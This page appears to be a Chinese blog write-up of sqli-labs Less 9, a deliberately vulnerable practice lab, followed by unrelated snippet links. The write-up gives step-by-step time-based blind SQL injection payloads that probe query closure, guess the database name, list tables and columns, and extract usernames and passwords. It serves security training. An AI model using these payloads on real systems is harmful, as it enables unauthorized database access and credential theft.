当前位置： 首页 > news >正文

sqli-labs靶场 less 9

news 来源：原创 2025/8/28 9:51:12

文章目录

  • sqli-labs靶场
    • less 9 时间盲注

sqli-labs靶场

每道题都从以下模板讲解，并且每个步骤都有图片，清晰明了，便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型：判断闭合方式 （‘、"、’'、“”）
    • 数字型
  • 根据实际情况，选择合适的注入方式
  • 获取数据库名，表名，列名，数据

less 9 时间盲注

  • 题目类型:
    这道题无回显，无报错，无真假页面，尝试考虑时间注入

判断闭合方式
直接使用单双引号括号等测试，页面无变化。在测试符号后面添加and sleep(3) --+，如果成功闭合前面的语句，则会执行sleep(3)，利用延时注入的原理判断闭合方式
id=1’ and sleep(3) --+
在这里插入图片描述
在这里插入图片描述
构造轮子

id=1’ and if(1=1,sleep(3),sleep(1))–+

id=1’ and if(1=2,sleep(3),sleep(1))–+
在这里插入图片描述
在这里插入图片描述
猜解数据库长度：
id=1’ and if(length(database())=8,sleep(3),sleep(1))–+
在这里插入图片描述

猜解数据库名字：

id=1’ and if(mid((select database()),1,1)=‘a’,sleep(3),sleep(1))–+

报所有表的长度与所有表名 由于使用了group_concat，记得添加逗号（，）
id=1’ and if(length((select group_concat(table_name) from information_schema.tables where table_schema=‘security’))=29,sleep(2),sleep(1))–+

id=1’ and if(mid((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,1)=‘a’,sleep(2),sleep(1))–+
在这里插入图片描述
在这里插入图片描述

报users表中字段的长度与字段名–记得添加逗号（，）：
id=1’ and if(length((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’))=20,sleep(2),sleep(1))–+
id=1’ and if(mid((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),1,1)=‘a’,sleep(2),sleep(1))–+

报users表中username与password–记得添加逗号（，）：
id=1’ and if(length((select concat(username,password) from security.users limit 7,1))=10,sleep(2),sleep(1))–+
id=1’ and if(mid((select concat(username,password) from security.users limit 7,1),1,1)=‘a’,sleep(2),sleep(1))–+

相关文章：

sqli-labs靶场 less 9

文章目录 sqli-labs靶场less 9 时间盲注 sqli-labs靶场 每道题都从以下模板讲解，并且每个步骤都有图片，清晰明了，便于复盘。 sql注入的基本步骤 注入点注入类型 字符型：判断闭合方式 （‘、"、’、“”&#xf…...

编程日记 2025/8/28 9:51:12

奇趣点播系统测试报告

1.项目简介 本项目旨在搭建一个视频共享点播系统，服务器支持用户通过前端浏览器访问服务器，获取展示与观看和操作的界面，最终实现视频的上传以及观看和删改查等基础管理功能。让用户拥有良好的观看体验和分享视频的快捷方式，此外…...

编程日记 2025/8/23 12:56:04

空地机器人在复杂动态环境下，如何高效自主导航？

随着空陆两栖机器人(AGR)在应急救援和城市巡检等领域的应用范围不断扩大，其在复杂动态环境中实现自主导航的挑战也日益凸显。对此香港大学王俊铭基于阿木实验室P600无人机平台自主搭建了一整套空地两栖机器人，使用Prometheus开源框架完成算法的仿真验证与…...

编程日记 2025/8/28 4:00:32

01 - QEMU 初始化概览 - Init()

目录 1.初始化 - qemu_init() 1.1.基本设备 1.2.日志 1.3.模块信息 1.4.子系统 1.5.选项解析 - 阶段一 1.6.选项解析 - 阶段二 1.7.选项配置 1.8.Trace 1.9.主线程 1.10.CPU 时钟 1.11.其他设置 1.12.创建虚拟机 1.13.启动虚拟机 2.主线程 - qemu_main() 2.1.处…...

编程日记 2025/8/27 1:21:39

Vue3 使用ref

<button click"changeMsg">change</button> <div>{{ message }}</div>//接受一个内部值并返回一个响应式且可变的 ref 对象。ref 对象仅有一个 .value property&#xff0c;指向该内部值。 const message ref(hello world) const mum 1 co…...

编程日记 2025/8/21 17:05:03

React中 点击事件写法 的注意（this、箭头函数）

目录 ‌1、错误写法‌&#xff1a;onClick{this.acceptAlls()} ‌2、正确写法‌&#xff1a;onClick{this.acceptAlls}&#xff08;不带括号&#xff09; 总结 方案1&#xff1a;构造函数绑定 方案2&#xff1a;箭头函数包装方法&#xff08;更简洁&#xff09; 方案3&am…...

编程日记 2025/8/28 1:31:52

DeepSeek AI大模型：中国智能时代的“争气机“-AI生成

DeepSeek AI大模型&#xff1a;中国智能时代的"争气机" 当全球科技巨头在万亿参数竞赛中你追我赶时&#xff0c;一家中国公司悄然改写了游戏规则。DeepSeek AI最新发布的"探月"大模型不仅以中英双语能力打破技术壁垒&#xff0c;更用"动态脑区"设…...

编程日记 2025/8/24 6:01:29

Java老鼠迷宫（递归）---案例来自韩顺平老师讲Java

题目&#xff1a; 粉色圈圈是启动&#xff0c;红色方框是阻挡&#xff0c;蓝色五角星是出口&#xff0c;走到出口&#xff0c;老鼠winner 代码&#xff1a; public class test6 {public static void main(String[] args){//创建二维数组int[][] map new int[8][7];// 最外围都…...

编程日记 2025/8/29 5:24:28

Python大数据视频教程

概述 最新整理的Python大数据视频教程已出&#xff0c;需要学习的小伙伴抓紧了。 课程亮点&#xff1a; ❶ 编程基石&#xff1a;从Python基础到高阶函数式编程&#xff0c;用代码驯服数据 ❷ 数据魔法&#xff1a;SQL进阶ETL实战&#xff0c;Pandas玩转百万级数据分析 ❸ 分…...

编程日记 2025/8/27 13:00:54

Java工厂模式解析：灵活对象创建的实践指南

精心整理了最新的面试资料和简历模板&#xff0c;有需要的可以自行获取 点击前往百度网盘获取 点击前往夸克网盘获取 一、模式定义与分类 工厂模式&#xff08;Factory Pattern&#xff09;是创建型设计模式的核心成员之一&#xff0c;主要解决对象创建过程中的灵活性问题。根…...

编程日记 2025/8/20 14:24:44

PDF转换格式失败？原因及解决方法全解析

在日常工作中&#xff0c;我们经常会遇到将PDF转换为Word、Excel、PPT等格式的需求。有时候以为一键转换就能搞掂&#xff0c;没想到却转换失败。到底问题出在哪&#xff1f;别急&#xff0c;我们可以看看是否以下几个问题引起的&#xff0c;找到解决问题的关键&#xff01; 原…...

编程日记 2025/8/28 9:44:19

《轨道力学讲义》——第五讲：摄动理论基础

第五讲&#xff1a;摄动理论基础 引言 在实际的航天任务中&#xff0c;我们很少能够使用理想的二体问题来精确描述航天器的运动。地球的非球形性、大气阻力、太阳辐射压以及第三天体引力等各种因素都会对航天器轨道产生偏离理想轨道的影响。这些额外的力被称为"摄动力&q…...

编程日记 2025/8/26 10:56:23

【NLP】23.小结：选择60题

Question 1: What does the fixed lookup table in traditional NLP represent? A. A table of one‐hot vectors B. A table of pre‐trained dense word embeddings C. A dictionary of word definitions D. A table of n-gram counts Answer (中文): 答案选 B。传统NLP中“…...

编程日记 2025/8/29 0:09:11

C++核心机制-this 指针传递与内存布局分析

示例代码 #include<iostream> using namespace std;class A { public:int a;A() {printf("A:A()的this指针&#xff1a;%p!\n", this);}void funcA() {printf("A:funcA()的this指针&#xff1a;%p!\n", this);} };class B { public:int b;B() {prin…...

编程日记 2025/8/29 5:59:13

python asyncio 的基本使用

1、引言 asyncio 是 Python 标准库中的一个库&#xff0c;提供了对异步 I/O 、事件循环、协程和任务等异步编程模型的支持。 asyncio 文档 2、进程、线程、协程 线程 线程是操作系统调度的基本单位&#xff0c;同一个进程中的多个线程共享相同的内存空间。线程之间的切换由操…...

编程日记 2025/8/22 3:54:35

大模型中提到的分词器是什么

分词器在大模型中的核心解析 1. 分词器的定义与基本作用 分词器（Tokenizer）是自然语言处理（NLP）中的核心组件，负责将原始文本拆分为模型可处理的离散单元（称为Token）。其核心功能包括： 文本离散化：将连续字符序列转化为数字序列，作为模型的输入。语义单元提取：通过…...

编程日记 2025/8/29 8:10:50

Android中使用BuildConfig.DEBUG无法找到的解决方法

BuildConfig是Android构建工具自动生成的一个类&#xff0c;通常位于应用的包名下&#xff0c;包含一些构建相关的常量&#xff0c;比如DEBUG标志、应用ID、版本信息等。 遇到的问题可能有几种情况。首先&#xff0c;可能项目没有正确构建&#xff0c;导致BuildConfig没有被生…...

编程日记 2025/8/28 5:07:16

Python（14）Python内置函数完全指南：从基础使用到高阶技巧

目录 背景介绍一、内置函数全景分类1. 数据类型转换&#xff08;15个&#xff09;2. 数学运算&#xff08;12个&#xff09;3. 迭代处理&#xff08;9个&#xff09;4. 对象操作&#xff08;11个&#xff09;5. 输入输出&#xff08;4个&#xff09; 二、高阶函数应用场景1. en…...

编程日记 2025/8/27 15:22:21

echo命令，tail命令，反引号，重定向符

echo命令&#xff1a; 作用&#xff1a;在命令行中输出指定的内容&#xff0c;相当于print语句 语法&#xff1a;echo 指定的内容&#xff08;当内容包含空格和特殊字符的时候&#xff0c;语句很复杂的时候&#xff0c;最好用双引号括起来&#xff09; tail命令&#xff1a;…...

编程日记 2025/8/29 1:14:05

集成学习介绍

集成学习&#xff08;Ensemble Learning&#xff09;是一种机器学习范式&#xff0c;它通过组合多个模型的预测来提高整体模型的性能。单一模型可能在某些方面表现不佳或具有较高的偏差或方差&#xff0c;而集成方法能够通过结合多个模型的优点来克服这些问题&#xff0c;从而提…...

编程日记 2025/8/22 16:01:46

【CUDA】ubuntu环境下安装cuda

写在前面 软硬件匹配问题 &#xff1a;如老显卡安装ubuntu24, 会发现适合显卡的cuda不适合ubuntu24, 适合ubuntu24的cuda不适合显卡&#xff0c;因此安装ubuntu系统前&#xff0c;务必查明 &#xff1a;当前设备的显卡支持的cuda&#xff0c;支持哪些ubuntu版本 下面的三个问题…...

编程日记 2025/8/28 4:11:28

进程间通信-信号量

消息队列&#xff08;Message Queue&#xff09;是一种在不同组件或进程间进行异步通信的机制&#xff0c;它允许应用程序以松耦合的方式交换消息。消息队列就像一个缓冲区&#xff0c;发送者将消息放入队列&#xff0c;接收者从队列中取出消息进行处理。以下为你详细介绍消息队…...

编程日记 2025/8/24 18:59:29

Ubuntu 22.04安装MySQL ： Qwen2.5 模型对话数据收集与微调教程

在Ubuntu 22.04安装MySQL的教程请点击下方链接进行参考： 点击这里获取MySQL安装教程 今天将为大家带来如何微调Qwen2.5模型并连接数据库进行对话的教程。快跟着小编一起试试吧~ ​ 1 大模型 Qwen2.5 微调步骤 1.1 从 github 仓库 克隆项目 克隆存储库：#拉取代码 git clo…...

编程日记 2025/8/28 1:32:07

L1-8 新年烟花

单位 杭州百腾教育科技有限公司 新年来临&#xff0c;许多地方会举行烟花庆典庆祝。小 C 也想参加庆典&#xff0c;但不幸的是跟他一个想法的人实在太多&#xff0c;活动场地全是人人人人人人人人人…… 活动场地可视作一个 NM 的矩阵&#xff0c;其中有一些格子是空的&#…...

编程日记 2025/8/23 16:11:21

OpenCV中的轮廓检测方法详解

文章目录 引言一、什么是轮廓&#xff1f;二、OpenCV中的轮廓检测基础1. 基本步骤2. findContours函数详解 三、轮廓检索模式四、轮廓近似方法五、轮廓特征分析1. 轮廓面积2. 轮廓周长/弧长3. 轮廓近似&#xff08;多边形拟合&#xff09;4. 凸包5. 边界矩形6. 最小闭合圆7. 拟…...

编程日记 2025/8/26 7:13:24

AIP-231 批量方法：Get

编号231原文链接AIP-231: Batch methods: Get状态批准创建日期2019-06-18更新日期2019-06-18 一些API允许用户获取一组特定资源在一个时间点&#xff08;例如使用读事务&#xff09;的状态。批量获取方法提供了这个功能。 指南 API 可以 按照以下模式支持批量获取&#xff1…...

编程日记 2025/8/22 3:54:38

人工智能基础-matplotlib基础

绘制图形 import numpy as np x np.linspace(0, 10, 100) y np.sin(x) import matplotlib as mpl import matplotlib.pyplot as plt plt.plot(x, y) plt.show()绘制多条曲线 siny y.copy() cosy np.cos(x) plt.plot(x, siny) plt.plot(x, cosy) plt.show()设置线条颜色 …...

编程日记 2025/8/23 18:09:43

qt运行时报段错误

标题&#xff1a; qt运行时报段错误&#xff0c;查看stack&#xff0c;显示&#xff1a; 原因 报错的cpp文件新包含一个头文件&#xff0c;这个头文件里的pack指令有问题&#xff0c;如下: 解决办法 修改为正确的pack指令。...

编程日记 2025/8/22 4:49:30

【Qt】Qt Creator开发基础：项目创建、界面解析与核心概念入门

&#x1f351;个人主页&#xff1a;Jupiter. &#x1f680; 所属专栏&#xff1a;QT 欢迎大家点赞收藏评论&#x1f60a; 目录 Qt Creator 新建项⽬认识 Qt Creator 界⾯项⽬⽂件解析Qt 编程注意事项认识对象模型&#xff08;对象树&#xff09;Qt 窗⼝坐标体系 Qt Creator 新…...

编程日记 2025/8/27 13:14:19

CAP应用

1.工作原理 CAP&#xff08;Consistent&#xff0c;Available&#xff0c;Partition - tolerant&#xff09;框架在.NET 中的工作原理。CAP 是一个用于.NET 的分布式事务解决方案&#xff0c;主要用于实现微服务架构中的数据一致性&#xff08;实现分布式事务的最终一致性&…...

编程日记 2025/8/22 21:42:35

典型操作系统内核架构

在典型操作系统架构&#xff08;如下图所示&#xff09;中&#xff0c;内核负责以安全、公平的方式为多个应用程序管理和共享硬件资源。 内核通过一组 API&#xff08;即系统调用&#xff09;向应用程序提供服务。这些 API 不同于常规库函数&#xff0c;因其是用户模式到内核模…...

编程日记 2025/8/29 7:54:27

AWS Redshift的使用场景及一些常见问题

Redshift 不是关系型数据库, 提供了Amazon Redshift Serverless 和 Amazon Redshift 都是构建于 Redshift 数仓引擎之上的&#xff0c;但它们适用的场景不同。Redshift和Dynamodb都可以存储数据, 分别怎么选择? 这里记录一些常见的问题和场景。 1. 如何选择用Amazon Redshift…...

编程日记 2025/8/29 5:38:34

**searchProperties 是什么，python中**是什么：解包字典的操作符

searchProperties 是什么，python中是什么：解包字典的操作符 在 Python 中，** 是用于解包字典的操作符，**searchProperties 是一个可变关键字参数。它允许函数接受任意数量的关键字参数，这些参数会被收集到一个字典中，字典的键是参数名，值是参数对应的值。 在 ButtonCon…...

编程日记 2025/8/28 0:56:30

.NET MCP 文档

MCP 概述 MCP&#xff08;Model Context Protocol&#xff09;是由 Anthropic 推出的一种开放协议&#xff0c;类似 AI 的 USB-C 扩展坞&#xff0c;用于在大模型和数据源之间建立安全的通信&#xff08;授权&#xff09;&#xff0c;让 AI 应用能够安全地访问和操作本地或远程…...

编程日记 2025/8/29 0:55:05

07软件测试需求分析案例-修改用户信息

修改用户信息是后台管理菜单的一个功能模块&#xff0c;只有admin才有修改权限。包括查询用户名进行显示用户相关信息&#xff0c;并且修改用户相关信息的功能。 1.1 通读文档 通读需求规格说明书是提取信息&#xff0c;提出问题&#xff0c;输出具有逻辑、规则、流程的业务…...

编程日记 2025/8/24 9:37:50

第九届“创客中国”中小企业创新创业大赛总决赛企业组三等奖项目—基于AI智能代码疫苗技术的数字供应链安全解决方案

项目名称&#xff1a;基于AI智能代码疫苗技术的数字供应链安全解决方案 企业名称&#xff1a;北京安普诺信息技术有限公司(悬镜安全&#xff09; 项目简介&#xff1a; ‍‍‍‍‍ 基于AI智能代码疫苗技术的数字供应链安全解决方案&#xff0c;悬镜安全在全球范围内首创…...

编程日记 2025/8/22 11:01:38

企业级RAG行业应用落地方案——阿里云百炼

行业痛点分析 这张图主要围绕“行业痛点锚定”展开&#xff0c;通过雷达图和表格结合的方式&#xff0c;分析电商选品在不同维度下的情况&#xff1a; 分析对象&#xff1a;聚焦电商选品。维度展示&#xff1a;从可结构化程度、重复性、数据可得性、人机互动性、AI带来的价值这…...

编程日记 2025/8/25 0:26:38

Mac切换node版本

Mac切换node版本 1.首先安装n模块&#xff1a; sudo npm install -g n 2.升级node.js到最新稳定版 sudo n stable 3.升级到最新版 sudo n latest 4.n后面也可以跟随版本号,升级到任意版本 sudo n v0.10.26或sudo n 0.10.26 5.切换使用版本 sudo n 7.10.0 6.删除制定版本…...

编程日记 2025/8/23 9:43:42

从零开始学A2A一：A2A 协议概述与核心概念

A2A 协议概述与核心概念 学习目标 基础理解 掌握A2A协议的基本概念和背景理解协议的设计原则和核心思想了解协议在AI领域的重要性 技术掌握 熟悉A2A协议的核心功能组件掌握能力发现和任务管理机制理解多模态交互和安全通信原则 实践应用 能够设计基于A2A的智能体系统掌握协议…...

编程日记 2025/8/23 23:53:51

科普：如何通过ROC曲线，确定二分类的“理论阈值”

在二分类问题中&#xff0c;已知预测概率&#xff08;如逻辑回归、神经网络输出的概率值&#xff09;时&#xff0c;阈值的选择直接影响分类结果&#xff08;正/负样本判定&#xff09;。 一、实践中的阈值选择方法 1. 基于业务目标的调整 最大化准确率&#xff1a;适用于样…...

编程日记 2025/8/28 3:15:45

Cherry Studio + MCP，从0到1保姆教程，3个场景体验

&#x1f4fa; 详细操作以视频方式呈现&#xff0c;视频地址周五会更新出来 &#x1f4af; 鉴于很多观众网络环境受限&#xff0c;文末提供所需安装文件网盘分享 &#x1f4ac; 什么是 MCP &#xff1f; MCP&#xff08;Model Context Protocol&#xff0c;MCP&#xff09;模型…...

编程日记 2025/8/24 20:55:56

Docker学习笔记-docker安装、删除

一、在centOS 7中docker的默认安装目录 # Docker 主配置文件目录 ls /etc/docker# Docker 数据目录&#xff08;镜像、容器、卷等&#xff09; ls /var/lib/docker# Docker 可执行文件路径 which docker # 输出类似 /usr/bin/docker 二、docker文件目录说明 目录/文件用途/…...

编程日记 2025/8/25 3:41:40

visual studio 常用的快捷键（已经熟悉的就不记录了）

以下是 Visual Studio 中最常用的快捷键分类整理&#xff0c;涵盖代码编辑、调试、导航等核心场景&#xff1a; 一、生成与编译 ​生成解决方案 Ctrl Shift B 一键编译整个解决方案&#xff0c;检查编译错误&#xff08;最核心的生成操作&#xff09;​编译当前文件 Ctrl F…...

编程日记 2025/8/23 23:21:24

使用人工智能大模型腾讯元宝，如何做课题研究？

今天我们学习使用人工智能大模型腾讯元宝&#xff0c;如何做课题研究&#xff1f; 手把手学习视频地址&#xff1a;https://edu.csdn.net/learn/40402/666424 在腾讯元宝对话框中输入如何协助老师做课题&#xff08;申报书、开题报告、中期报告、结题报告&#xff09;&#x…...

编程日记 2025/8/27 12:52:08

开源模型应用落地-模型上下文协议（MCP）-第三方MCP Server实战指南（五）

一、前言 在AI技术高速发展的2025年，如何让大语言模型（LLM）更灵活地调用外部工具与数据，成为开发者关注的焦点。​模型上下文协议（MCP）​作为AI与外部资源的“万能接口”，通过标准化交互框架解决了传统集成中的碎片化问题。而第三方MCP Server的引入，进一步降低了开发门…...

编程日记 2025/8/28 12:48:22

python每日一练

题目一 输入10个整数,输出其中不同的数,即如果一个数出现了多次,只输出一次(要求按照每一个不同的数第一次出现的顺序输出)。 解题 错误题解 a list(map(int,input().split())) b [] b.append(a[i]) for i in range(2,11):if a[i] not in b:b.append(a[i]) print(b)但是会…...

编程日记 2025/8/29 6:51:31

跨境贸易之常见的贸易术语

外贸出口中经常会听到FOB、CIF、DDP各种术语&#xff0c;这些都是什么意思呢&#xff1f; 今天我们来介绍一下他们的确切含义。一般来说你听到的这些话语都是表示交货的方式。 如果普通的贸易过程大家一听就明白的&#xff0c;就是货到付款&#xff0c;款到发货&#xff0c;支…...

编程日记 2025/8/27 15:22:01

KingbaseES之KDts迁移SQLServer

项目适配迁移SQLServer至金仓,今天写写KDts-WEB版迁移工具迁移SQLServer至KingbaseES的步骤,以及迁移注意事项. SQLServer版本:SQLServer2012 KingbaseES版本:V009R004C011(SQLServer兼容版) --1.进入数据库客户端工具KDTS工具目录&#xff0c;启动KDts服务&#xff1a; [king…...

编程日记 2025/8/28 5:03:42

Rust编程学习（一）: 变量与数据类型

我们先从Rust基本的变量声明定义与数据类型开始学习&#xff0c;了解这门语言基本特性。 1 变量与可变性 变量声明 变量声明以let关键字开头&#xff0c;x为变量名&#xff0c;变量名后紧跟冒号和数据类型,但是rust编译器有自动推导变量类型的功能&#xff0c;可以省略显式的声…...

编程日记 2025/8/24 10:14:56

Java 在人工智能领域的突围：从企业级架构到边缘计算的技术革新

一、Java AI 的底层逻辑&#xff1a;从语言特性到生态重构 在 Python 占据 AI 开发主导地位的当下&#xff0c;Java 正通过技术重构实现突围。作为拥有 30 年企业级开发经验的编程语言&#xff0c;Java 的核心优势在于强类型安全、内存管理能力和分布式系统支持&#xff0c;这…...

编程日记 2025/8/26 4:26:29